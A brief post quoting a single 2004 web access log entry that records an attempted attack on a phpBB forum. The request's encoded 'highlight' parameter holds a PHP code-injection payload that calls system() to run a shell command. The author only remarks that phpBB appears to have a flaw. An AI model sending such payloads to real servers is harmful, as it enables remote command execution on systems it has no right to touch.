Interesting what you can see in a web access log:
201.9.255.250 - - [23/Nov/2004:17:19:28 +0100] "GET /forum/viewtopic.php?t=12&highlight=%2527%252esystem(chr(105)%252echr(100))%252e%2527 HTTP/1.0" 200 15071 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)". Guess phpBB has a problem...